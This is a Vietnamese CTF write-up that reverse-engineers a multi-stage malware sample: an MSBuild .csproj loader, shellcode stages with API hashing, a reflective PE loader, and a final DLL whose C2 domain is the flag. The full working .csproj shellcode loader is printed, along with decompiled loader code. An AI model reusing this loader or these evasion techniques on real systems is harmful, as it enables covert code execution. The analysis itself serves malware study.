Post

[HOLACTF] i_love_malware

i love malware

[HOLACTF] i_love_malware

Mô tả

HOLACTF{C2domain}

Phân tích

Bài cho 3 file BraveCrashHandler.csproj BraveCrashHandler.exe note.txt. Kiểm tra trước file exe thì thấy có chữ kí số của microsoft, kiểm tra thêm thì biết file này có tên gốc là MSBuild.exe không độc hại, vậy vấn đề sẽ nằm ở 2 file còn lại

Trong note.txt

1
commandline: "C:\Program Files (x86)\BraveSoftware\CrashReports\BraveCrashHandler.exe" C:\Progra~2\BraveSoftware\CrashReports\BraveCrashHandler.csproj

Khi lên mạng tìm cách sử dụng MSBuild.exe thì biết được nó có thể dùng để build 1 file csproj, vậy file độc hại sẽ là BraveCrashHandler.csproj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="BuildProject">
    <Project
      DataProject="...very long..."
      />
  </Target>
  <UsingTask
    TaskName="Project"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll" >
    <ParameterGroup>
      <DataProject ParameterType="System.String"
                   Required="true" />
    </ParameterGroup>
    <Task>
      <Reference Include="System.Runtime"/>
      <Code Type="Class"
            Language="cs">
        <![CDATA[
using System;
using System.Text;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Security.Cryptography;
using System.Runtime.ExceptionServices;
public class Project : Task, ITask
{
    private string _DataProject;
    public virtual string DataProject
    {
        get
        {
            return _DataProject;
        }
        set
        {
            _DataProject = value;
        }
    }
    [DllImport("kernel32", EntryPoint = "VirtualAlloc")]
    private static extern IntPtr Alloc(IntPtr lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
    delegate void MyFunction();
    [HandleProcessCorruptedStateExceptions]
    public override bool Execute()
    {
        var inputArray = Convert.FromBase64String(DataProject);
        var key = Environment.ProcessorCount + Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE") + Environment.GetEnvironmentVariable("PROCESSOR_LEVEL") + Environment.MachineName;
        TripleDESCryptoServiceProvider tripleDES = new TripleDESCryptoServiceProvider();
        var keyBytes = Encoding.UTF8.GetBytes(key);
        using(var md5 = MD5.Create())
        {
            tripleDES.Key = md5.ComputeHash(keyBytes);
        }
        tripleDES.Mode = CipherMode.ECB;
        tripleDES.Padding = PaddingMode.PKCS7;
        var cTransform = tripleDES.CreateDecryptor();
        var resultArray = cTransform.TransformFinalBlock(inputArray, 0, inputArray.Length);
        tripleDES.Clear();
        var funcAddr = Alloc(IntPtr.Zero, (UInt32)resultArray.Length, 0x1000, 0x40);
        Marshal.Copy(resultArray, 0, funcAddr, resultArray.Length);
        var myFunction = (MyFunction)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(MyFunction));
        try
        {
            myFunction();
        }
        catch { }
        return true;
    }
}

				]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

Khi thực hiện build thì chương trình sẽ lấy đoạn mã B64 bị mã hoá trong DataProject sau đó tạo khoá Triple DES = MD5( UTF8( Environment.ProcessorCount + PROCESSOR_ARCHITECTURE + PROCESSOR_LEVEL + Environment.MachineName ) )

Rồi thực hiện giải mã bằng 3DES_ECB ra resultArray rồi cấp phát vùng nhớ VirtualAlloc để copy vào rồi chạy hàm myFuction thực thi file

Bởi vì key được lấy từ các thông tin của máy nạn nhân nên ta sẽ phải tự tìm key và viết script giải mã, ví dụ key trên máy của tôi

1
2
4AMD646DESKTOP-NF3DDH9
c548f121f3d1f43dad746dbbdc38df77

note.txt cũng đã cho ta các thông tin về máy nên ta sẽ dựng lại key sau đó thực hiện giải mã

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
systeminfo:

Host Name:                 ADMIN
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19044 N/A Build 19044
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:          Admin
Registered Organization:   
Product ID:                00330-80000-00000-AA337
Original Install Date:     4/2/2022, 9:34:15 PM
System Boot Time:          3/5/2024, 10:27:22 AM
System Manufacturer:       System manufacturer
System Model:              System Product Name
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 42 Stepping 7 GenuineIntel ~3300 Mhz
BIOS Version:              American Megatrends Inc. 0504, 29/6/2012
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume5
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+07:00) Bangkok, Hanoi, Jakarta
Total Physical Memory:     7.882 MB
Available Physical Memory: 4.619 MB
Virtual Memory: Max Size:  8.394 MB
Virtual Memory: Available: 4.746 MB
Virtual Memory: In Use:    3.648 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              \\ADMIN
Hotfix(s):                 3 Hotfix(s) Installed.
                           [01]: KB5003791
                           [02]: KB5005611
                           [03]: KB5005699
Network Card(s):           1 NIC(s) Installed.
                           [01]: Realtek PCIe GbE Family Controller
                                 Connection Name: Ethernet
                                 DHCP Enabled:    Yes
                                 DHCP Server:     10.38.251.9
                                 IP address(es)
                                 [01]: 10.38.40.113
                                 [02]: fe80::1187:b4b4:c9de:d729
Hyper-V Requirements:      VM Monitor Mode Extensions: Yes
                           Virtualization Enabled In Firmware: No
                           Second Level Address Translation: Yes
                           Data Execution Prevention Available: Yes
Volume Serial Number:	   7689-E1A1
  • ProcessorCount: 4
  • PROCESSOR_ARCHITECTURE: AMD64
  • PROCESSOR_LEVEL: 6
  • MachineName: ADMIN

=> 6094c13fbe36d14605432e0140030a02

Decrypt

Đây mới là shellcode, khi đưa vào IDA thì thấy có hàm sub_884 rất lớn và gọi rất nhiều hàm nên sẽ đặt nó làm entrypoint và sử dụng sclauncher.exe để đưa về file exe

1
sclauncher.exe -f="shellcode_stage1.bin" -ep="0x83B" -pe -64 -o="stage1.exe"

Phải đặt entrypoint ở khoảng 0x83B (trước khi gọi hàm MAIN) do nó còn đưa tham số vào các thanh ghi nữa, nếu không sẽ gặp lỗi khi debug bởi vì tham số trống, xem phần assembly

IMAGE

Stage 1

Bởi vì file stage1 này có khá ít hàm nên tôi đã phân tích từng hàm một, sau đây là một số hàm quan trọng

Resolve_API_String()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
__int64 __fastcall Resolve_API_String(__int64 (__fastcall **a1)(__int64, __int64), char *a2)
{
  int v4; // edx
  struct _LIST_ENTRY *Flink; // r10
  __int16 v6; // di
  struct _LIST_ENTRY *v7; // r8
  __int16 Blink; // r9
  int Flink_low; // ecx
  int v10; // eax
  struct _LIST_ENTRY *v11; // rbx
  char *v12; // rax
  unsigned int *v13; // r15
  unsigned int *v14; // r12
  unsigned __int16 *v15; // rbp
  char *v16; // rsi
  __int64 v17; // rbx
  __int64 result; // rax
  struct _LIST_ENTRY *v19; // [rsp+50h] [rbp+8h]

  v4 = 0;
  *a1 = 0;
  a1[1] = 0;
  a1[2] = 0;
  a1[3] = 0;
  a1[4] = 0;
  a1[7] = 0;
  a1[5] = 0;
  Flink = NtCurrentPeb()->Ldr->InMemoryOrderModuleList.Flink;
  v19 = Flink;
  if ( Flink )
  {
    v6 = 6;
    while ( 1 )
    {
      v7 = Flink[5].Flink;
      Blink = (__int16)Flink[4].Blink;
      do
      {
        Flink_low = LOBYTE(v7->Flink);
        v7 = (struct _LIST_ENTRY *)((char *)v7 + 1);
        v10 = Flink_low + __ROR4__(v4, 13);
        v4 = v10 - 32;
        if ( (unsigned __int8)Flink_low < 0x61u )
          v4 = v10;
        --Blink;
      }
      while ( Blink );
      if ( v4 == 1783282779 )
        break;
LABEL_24:
      if ( !*a1 || !a1[1] || !a1[2] || !a1[3] || !a1[4] || !a1[5] )
      {
        Flink = Flink->Flink;
        v4 = 0;
        v19 = Flink;
        if ( Flink )
          continue;
      }
      goto LABEL_31;
    }
    v11 = Flink[2].Flink;
    v12 = a2 + 93;
    v13 = (unsigned int *)((char *)v11 + *(unsigned int *)((char *)&v11[8].Blink + SHIDWORD(v11[3].Blink)));
    v14 = (unsigned int *)((char *)v11 + v13[8]);
    v15 = (unsigned __int16 *)((char *)v11 + v13[9]);
    while ( 1 )
    {
      v16 = (char *)v11 + *v14;
      if ( String_Compare(v12, v16) )
        break;
      if ( String_Compare(a2 + 80, v16) )
      {
        a1[1] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
                                                         + *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
        goto LABEL_21;
      }
      if ( String_Compare(a2 + 149, v16) )
      {
        a1[2] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
                                                         + *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
        goto LABEL_21;
      }
      if ( String_Compare(a2 + 227, v16) )
      {
        a1[3] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
                                                         + *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
        goto LABEL_21;
      }
      if ( String_Compare(a2 + 162, v16) )
      {
        a1[4] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
                                                         + *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
        goto LABEL_21;
      }
      if ( String_Compare(a2 + 240, v16) )
      {
        a1[5] = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
                                                         + *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
        goto LABEL_21;
      }
LABEL_22:
      ++v14;
      v12 = a2 + 93;
      ++v15;
      if ( !v6 )
      {
        Flink = v19;
        v6 = 6;
        goto LABEL_24;
      }
    }
    *a1 = (__int64 (__fastcall *)(__int64, __int64))((char *)v11
                                                   + *(unsigned int *)((char *)&v11->Flink + 4 * *v15 + v13[7]));
LABEL_21:
    --v6;
    goto LABEL_22;
  }
LABEL_31:
  v17 = ((__int64 (__fastcall *)(char *))a1[1])(a2 + 108);
  a1[7] = (__int64 (__fastcall *)(__int64, __int64))(*a1)(v17, (__int64)(a2 + 182));
  a1[8] = (__int64 (__fastcall *)(__int64, __int64))(*a1)(v17, (__int64)(a2 + 210));
  result = (*a1)(v17, (__int64)(a2 + 121));
  a1[6] = (__int64 (__fastcall *)(__int64, __int64))result;
  return result;
}

Hàm này duyệt PEB để tìm kernel32.dll, sau đó parse bảng export để resolve một loạt API có tên được giấu trong buffer a2 (nằm ở nhiều offset khác nhau) và ghi vào bảng hàm a1. Khi đã có LoadLibraryAGetProcAddress, nó tiếp tục load một DLL khác (tên cũng lấy từ a2) và resolve thêm một số API trong DLL đó, lưu kết quả vào a1[6..8]

Resolve_API_Hash()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
char *__fastcall Resolve_API_Hash(int a1)
{
  struct _LIST_ENTRY *Flink; // r9
  struct _LIST_ENTRY *v3; // r8
  __int128 v4; // xmm0
  int v5; // edx
  __int64 v6; // r11
  char *v7; // rcx
  __int64 v8; // r10
  int v9; // edx
  _DWORD *v10; // r10
  int v11; // r11d
  unsigned int *v12; // rdi
  int v13; // ebx
  char *v14; // rsi
  int v15; // ecx

  Flink = NtCurrentPeb()->Ldr->InLoadOrderModuleList.Flink;
  while ( 1 )
  {
LABEL_2:
    v3 = Flink[3].Flink;
    if ( !v3 )
      return 0;
    v4 = *(_OWORD *)&Flink[5].Blink;
    v5 = 0;
    Flink = Flink->Flink;
    v6 = *(unsigned int *)((char *)&v3[8].Blink + SHIDWORD(v3[3].Blink));
    if ( (_DWORD)v6 )
    {
      if ( WORD1(v4) )
      {
        v7 = (char *)*((_QWORD *)&v4 + 1);
        v8 = WORD1(v4);
        do
        {
          v9 = __ROR4__(v5, 13);
          if ( *v7 >= 97 )
            v9 -= 32;
          v5 = *v7++ + v9;
          --v8;
        }
        while ( v8 );
      }
      v10 = (_DWORD *)((char *)v3 + v6);
      v11 = 0;
      v12 = (unsigned int *)((char *)v3 + (unsigned int)v10[8]);
      if ( v10[6] )
        break;
    }
  }
  while ( 1 )
  {
    v13 = 0;
    v14 = (char *)v3 + *v12++;
    do
    {
      v15 = *v14++;
      v13 = v15 + __ROR4__(v13, 13);
    }
    while ( (_BYTE)v15 );
    if ( v13 + v5 == a1 )
      return (char *)v3
           + *(unsigned int *)((char *)&v3->Flink
                             + 4 * *(unsigned __int16 *)((char *)&v3->Flink + v10[9] + (unsigned int)(2 * v11))
                             + (unsigned int)v10[7]);
    if ( (unsigned int)++v11 >= v10[6] )
      goto LABEL_2;
  }
}

Hàm này duyệt PEB để tìm các module, sau đó tính hash ROR13 của tên DLL và tên hàm export. Nếu tổng hash bằng giá trị đầu vào thì trả về địa chỉ hàm

MAIN()

1
2
MAIN(__int64 a1, unsigned int a2, int a3, int a4, int a5, unsigned int a6)
MAIN((__int64)&dword_402C84, 0xADE40u, 1, 1, 1, 0xA65A282A);

a1 là địa chỉ của payload bị mã hoá và a2 là kích cỡ

  • Resolve API theo tên

  • VirtualAlloc vùng mới (RW), VirtualProtect (RWX), copy payload từ vị trí cũ sang vùng mới (copy từ a1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  v12 = a2;
  v13 = v100(0, a2, 0x3000, 4); // VirtualAlloc
  v14 = (void (*)(void))v13;    // mov r14, rax
  if ( !v13 )
    return -1;
  v76 = a2;
  v103(v13, a2, 64, &v104); 	// VirtualProtect
  if ( a2 )
  {
    v15 = v14;
    v16 = a2;
    do						 // memcpy(v14, a1, a2)
    {
      *(_BYTE *)v15 = *((_BYTE *)v15 + a1 - (_QWORD)v14);
      v15 = (void (*)(void))((char *)v15 + 1);
      --v16;
    }
    while ( v16 );  
  }

Địa chỉ 0x402C84 chứa payload bị mã hoá lúc đầu được copy sang v14, trong assembly thì thanh ghi r14 sẽ trỏ đến địa chỉ chứa của v14, khi chương trình thực hiện việc mã hoá payload thì sẽ tác động lên địa chỉ trên

  • Chọn thuật toán hash a4 == 1 => MD5, a4 == 2 => SHA-1, ở bài này thì a4 == 1 nên ta chương trình sẽ sử dụng MD5

  • Chọn key theo a3:

    • 1 – Volume Serial: thử từng chữ cái ổ đĩa; lần nào đọc được serial, hash MD5

    • 2 – Adapters: GetAdaptersInfo vào một buffer heap; duyệt từng adapter, lấy chuỗi và chiều dài chuỗi, hash MD5

    • 3 – DPAPI blob: lấy size + con trỏ tại a2 + a1, CryptUnprotectData ra pbData, hash MD5

  • So khớp CRC32: Compute_CRC32(0, &v83, 32) == a6 mới tiếp tục thực hiện các bước sau (a6 = 0xA65A282A)

  • Dựng key sử dụng các hàm crypto của advapi32.dll, CryptDecrypt payload trong vùng đã cấp phát

  • Chạy code: giải mã xong, chạy stage2 rồi VirtualFree.

Biết hàm MAIN được gọi như sau MAIN((__int64)&dword_402C84, 0xADE40u, 1, 1, 1, 0xA65A282A);

a3 == 1 nên sẽ dùng mode 1 => Volume Serial, trong note.txt có: 7689-E1A1

Tiếp theo đặt breakpoint tại đây

1
2
3
4
5
6
7
8
9
10
11
  while ( 1 )
  {
    LOBYTE(v49) = v42 + 65;
    LODWORD(v46) = 262148;
    v52 = 0;
    if ( v97(&v49, 0, 0, &v52, 0, 0, 0, 0, v46, &v49) > 0 )
      break;
LABEL_93:
    if ( ++v42 >= 26 )
      return v24;
  }

v97(&v49, 0, 0, &v52, 0, 0, 0, 0, v46, &v49) khi thực hiện debug sẽ biết được hàm này gọi GetVolumeInformationA

Đoạn code này sẽ thực hiện quét các ổ đĩa từ A:\\ -> Z:\\ và gọi GetVolumeInformationA nếu trả về 1 (Lấy được volume id) thì sẽ thoát khỏi vòng while và tiếp tục thực hiện

Kết quả ID của volume-ID sẽ nằm trong địa chỉ được thanh ghi vào thanh ghi R9 vậy thì ta sẽ đặt breakpoint ở đó, Follow in dump thanh ghi R9 rồi sau đó mới stepover để xem và chỉnh giá trị

Giá trị ghi chỉnh trong x64dbg phải ghi dưới dạng little-edian, ví dụ khi tôi chạy vol C: ra 44BF-EAB7 khi debug thì biết giá trị này trong chương trình là B7EABF44

image

Giá trị ta cần thay vào là A1E18976

Bây giờ ta sẽ đặt breakpoint ở hàm thực hiện giải mã (Ở đây sử dụng CryptDecrypt), follow địa chỉ của r14 rồi stepover sẽ thấy thay đổi, dump ra rồi cắt đủ 0xADE40 byte

IMAGE

python .\Dump_cutter.py -i .\stage1_0000000001080000.bin -s 0 -l 0xADE40 -o shellcode_stage2.bin

Stage 2

Tương tự như stage1, nhưng mà do cái stage2 này có rất nhiều hàm nên tôi chỉ chuyển sang exe thôi còn entrypoint giữ nguyên default

1
sclauncher.exe -f="shellcode_stage2.bin" -pe -64 -o="stage2.exe"
1
2
3
4
__int64 start()
{
  return sub_401036((__int64)&word_403436, 0xABA00, 0, 0); // a1,a2,a3,a4
}

Khi kiểm tra thêm hàm sub_401036 thấy rằng đây là một manual PE loader/reflective loader: nó lấy một PE nằm trong bộ nhớ ở a1, tự map vào vùng mới, fix relocations/imports, gọi DllMain, rồi gọi một export cụ thể (Theo a4)

Hàm này cũng sử dụng phương pháp resolve API động, nên ta sẽ phải đặt khá nhiều bp để biết nó gọi gì (Hoặc dựa vào tham số với hỏi chatgpt cho nhanh)

Một vài API

1
2
3
4
5
6
7
v174 / v22 = VirtualAlloc

v157 = VirtualProtect

v190 = LoadLibraryA

v8(...) dùng để resolve mọi API theo tên đã giải mã (`GetProcAddress`)

Đọc PE header tại a1

1
2
3
v54 = a1 + *(int *)(a1 + 60);     // NT_HEADERS = a1 + e_lfanew
v55 = *(unsigned int *)(v54 + 80);// SizeOfImage
v56 = (__int64 *)(v54 + *(u16 *)(v54 + 20)); // Section headers base

Cấp phát vùng đích, copy section headers sang

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
v57 = v22(0, v55, 4096, 4);       // VirtualAlloc
...
// copy headers (SizeOfHeaders ở v54+84)
v73 = *(unsigned int *)(v54 + 84);
if (v73) {
  v74 = (_BYTE*)v57;
  do { *v74 = v74[a1 - v57]; ++v74; --v73; } while (v73);
}

// copy từng section
if (*(_WORD*)(v54+6)) {
  v76 = (unsigned int*)v56 + 9;   
  v77 = (alloc_fn)v174;           // VirtualAlloc
  do {
    if (v76[1] || !*(_DWORD*)(v54 + 56)) {
      v78 = v77(v57 + *v76, v76[1], 4096, 4);  // alloc cho vùng section
      if (v76[1]) {            // SizeOfRawData
        v81 = a1 + v76[2] - v78;
        // memcpy(dst, src, SizeOfRawData)
        for (v79=(BYTE*)v78, v80=v76[1]; v80; --v80) { *v79 = v79[v81]; ++v79; }
      }
      v76 += 10;               // sang section tiếp theo (sizeof(IMAGE_SECTION_HEADER)/4)
    } else {
      v77(v57 + *v76, *(v76 - 1), 4096, 4);  
    }
  } while (++v75 < *(u16*)(v54+6));
}

Gọi DLLMain

1
2
((void (__fastcall *)(u64, __int64, _QWORD))
    (v57 + *(u32 *)(v54 + 40)))(v57, 1, 0);   // (HINSTANCE)v57, DLL_PROCESS_ATTACH, 0

Gọi hàm export theo a4 (a4 == 0)

1
2
3
4
5
6
7
8
9
10
11
12
13
if (!*(_DWORD *)(v54 + 140)) return 0xFFFFFFFF;          
v147 = (_DWORD *)(v57 + *(u32 *)(v54 + 136));           
if (!v147[6] || !v147[5]) return 0xFFFFFFFF;             
v148 = (u16 *)(v57 + (u32)v147[9]);                      
if (v147[6]) {
  do {
    if (v5 == a4) { 				//Gọi hàm export #0
      ((void (__fastcall *)(_QWORD))
        (v57 + *(u32 *)(v57 + (u32)v147[7] + 4LL * *v148)))(0);
    }
    ++v5; ++v148;
  } while (v5 < v147[6]);
}

Vậy là nếu muốn dump file DLL ta chỉ cần đặt breakpoint tại lúc gọi hàm sub_401036 sau đó dump địa chỉ thanh ghi RCX ra rồi cắt cho vừa file DLL (a2 = độ lớn của file)

1
  return sub_401036((__int64)&word_403436, 0xABA00, 0, 0);

image

Stage 3

1
python .\Dump_cutter.py -i .\stage2_0000000000401000.bin -s 0x2436 -l 0xABA00 -o stage3.exe

Kiểm tra thấy có export 1 hàm VerifyCryptoSet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// Hidden C++ exception states: #wind=10
__int64 VerifyCryptoSet()
{
  __int64 v0; // rcx
  int v2; // eax
  int i; // ebx
  HANDLE Thread; // rax
  _QWORD Parameter[1736]; // [rsp+40h] [rbp-3658h] BYREF

  memset(Parameter, 0, 0x3638u);
  Initialize_Context((__int64)Parameter);
  if ( HIDWORD(Parameter[1]) )
  {
    v2 = *(_DWORD *)((char *)&Parameter[1135] + 7);
    for ( i = *(_DWORD *)((char *)&Parameter[1135] + 7); ; i += 30 )
    {
      if ( i >= v2 )
      {
        Parameter[1726] = Get_Dir_Size(v0, &Parameter[6]);
        Enumerate_Targets(Parameter);
        Process_Encoded_Data(Parameter);
        if ( !LODWORD(Parameter[1]) )
        {
          Thread = CreateThread(0, 0, StartAddress, Parameter, 0, 0);
          CloseHandle(Thread);
        }
        i = 0;
      }
      Sleep(0x7530u);
      v2 = *(_DWORD *)((char *)&Parameter[1135] + 7);
    }
  }
  Free(Parameter);
  return 0;
}

Hàm export này sẽ tạo context, rồi vào vòng lặp 30 giây một lần để quét dung lượng thư mục; liệt kê các ổ đĩa, thư mục, file; encode dữ liệu. Nếu flag Parameter[1] != 0 thì sẽ tạo thread để xử lý, chạy liên tục cho đến khi bị dừng. Nếu flag không bật thì Free luôn

Phân tích các hàm được gọi trong hàm tạo thread thì tìm được hàm sau

1
2
3
4
5
6
7
8
// Hidden C++ exception states: #wind=1
__int64 __fastcall Send_HTTP_Req(__int64 a1, _QWORD *a2, __int64 a3, __int64 a4, __int64 a5, int a6, _QWORD *a7)
{
[...]
    Assign_Substring_0(Buf2, (unsigned __int64)"Authorization", 0xDu, v7);
    [...]
    Assign_Substring_0(Buf2, (unsigned __int64)"Content-Type", 0xCu, v9);
    [...]

Hàm này đang tạo một payload để gửi http request, mô tả có yêu cầu tìm C2 domain, vậy có thể đây chính là payload cuối để kết nối đến C2

Hàm sub_180002BB0() tạo request POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Hidden C++ exception states: #wind=6
__int64 __fastcall Post_Req(int a1, void **a2, __int64 a3, void **a4, __int64 a5)
{
  __int64 v9; // r9
  unsigned int v10; // ebx
  _QWORD *v12; // [rsp+30h] [rbp-A1h] BYREF
  __int64 v13[2]; // [rsp+38h] [rbp-99h] BYREF
  _QWORD v14[4]; // [rsp+48h] [rbp-89h] BYREF
  _QWORD Src[8]; // [rsp+68h] [rbp-69h] BYREF
  _BYTE v16[24]; // [rsp+A8h] [rbp-29h] BYREF
  void **v17; // [rsp+C0h] [rbp-11h]
  void **v18; // [rsp+C8h] [rbp-9h]

  Src[7] = -2;
  v18 = a2;
  Src[5] = a3;
  v17 = a4;
  Src[6] = v13;
  Src[4] = v16;
  v12 = v14;
  sub_1800034C0(v13, a4);
  sub_180002E60(v16, a3);
  v14[3] = 15;
  v14[2] = 0;
  LOBYTE(v14[0]) = 0;
  Assign_Substring_0(v14, (unsigned __int64)"POST", 4u, v9);
  Src[3] = 7;
  Src[2] = 0;
  LOWORD(Src[0]) = 0;
  Assign_Substring(Src, a2, 0, 0xFFFFFFFFFFFFFFFFuLL);
  v10 = sub_180001FF0(a1, (__int64)v13, a5);
  if ( (unsigned __int64)a2[3] >= 8 )
    j_free(*a2);
  a2[3] = (void *)7;
  a2[2] = 0;
  *(_WORD *)a2 = 0;
  if ( *(_QWORD *)a3 )
  {
    j_free(*(void **)a3);
    *(_QWORD *)a3 = 0;
    *(_QWORD *)(a3 + 8) = 0;
    *(_QWORD *)(a3 + 16) = 0;
  }
  sub_1800039C0(a4, &v12, *(_QWORD *)*a4, *a4);
  j_free(*a4);
  return v10;
}

Cuối cùng đầu hàm sub_180001FF0 gọi API WinHttpCrackUrl

1
2
3
4
5
6
// Hidden C++ exception states: #wind=15
__int64 __fastcall sub_180001FF0(_QWORD *a1, __int64 a2, __int64 **a3, void **a4, __int64 ****a5, __int64 a6)
{
[...]
  v12 = (const WCHAR *)sub_180002E50(a2);
  if ( !WinHttpCrackUrl(v12, 0, 0, &UrlComponents) )
1
2
3
4
5
6
WINHTTPAPI BOOL WinHttpCrackUrl(
  [in]      LPCWSTR          pwszUrl,
  [in]      DWORD            dwUrlLength,
  [in]      DWORD            dwFlags,
  [in, out] LPURL_COMPONENTS lpUrlComponents
);

Tốt rồi, ta chỉ cần đặt breakpoint ở đây rồi đọc thanh ghi RCX là có flag

guangdongshop.net

IMAGE

HOLACTF{guangdongshop.net}

This post is licensed under CC BY 4.0 by the author.